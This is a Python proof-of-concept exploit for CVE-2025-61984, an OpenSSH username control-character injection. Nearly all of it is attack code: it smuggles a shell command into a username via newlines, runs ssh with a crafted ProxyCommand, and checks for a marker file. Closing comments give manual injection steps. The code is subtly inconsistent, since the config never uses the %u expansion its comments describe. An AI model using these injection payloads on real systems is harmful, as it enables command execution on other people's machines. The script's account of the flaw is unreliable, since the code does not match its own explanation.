CVE-2025-61984：OpenSSH用户名控制字符注入导致代码执行漏洞

# CVE-2025-61984 PoC - OpenSSH Username Control Character Injection # This PoC demonstrates how control characters in usernames can lead to # code execution when ProxyCommand is used in OpenSSH < 10.1 import subprocess import sys # Malicious username with embedded shell command via control characters # The \n character allows command injection when passed to ProxyCommand malicious_username = "normaluser\nid > /tmp/pwned\n" # SSH config that uses ProxyCommand with %u (username expansion) # This is the "untrusted source" that triggers the vulnerability ssh_config = """ Host target ProxyCommand ssh -W %h:%p gateway """ def exploit(): """ Exploit flow: 1. Attacker provides a username containing control characters 2. The username originates from command line or %-sequence expansion 3. OpenSSH passes the username to ProxyCommand without sanitization 4. Shell interprets the control characters, executing injected commands """ # Write malicious SSH config with open('/tmp/exploit_config', 'w') as f: f.write(ssh_config) # Execute SSH with malicious username from command line # The username contains \n which breaks out of the intended command cmd = [ 'ssh', '-F', '/tmp/exploit_config', '-o', f'ProxyCommand=echo {malicious_username}', 'target' ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[*] Malicious username: {repr(malicious_username)}") try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=5) print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") # Check if injected command executed try: with open('/tmp/pwned', 'r') as f: print(f"[!] Exploit successful! /tmp/pwned contents: {f.read()}") except FileNotFoundError: print("[-] /tmp/pwned not created - exploit may not have triggered") except subprocess.TimeoutExpired: print("[!] Process timed out (may indicate hanging shell)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-61984 - OpenSSH Username Control Character Injection") print("Affects: OpenSSH < 10.1") print("=" * 60) exploit() # Alternative manual exploitation: # 1. Create ~/.ssh/config with ProxyCommand using %u: # Host * # ProxyCommand /bin/sh -c "ssh -W %h:%p $0" %u # # 2. Connect with a crafted username: # ssh 'user\nmalicious_command\n'@target # # 3. The \n in username causes shell to execute 'malicious_command' # # Mitigation: Upgrade to OpenSSH 10.1p1 or later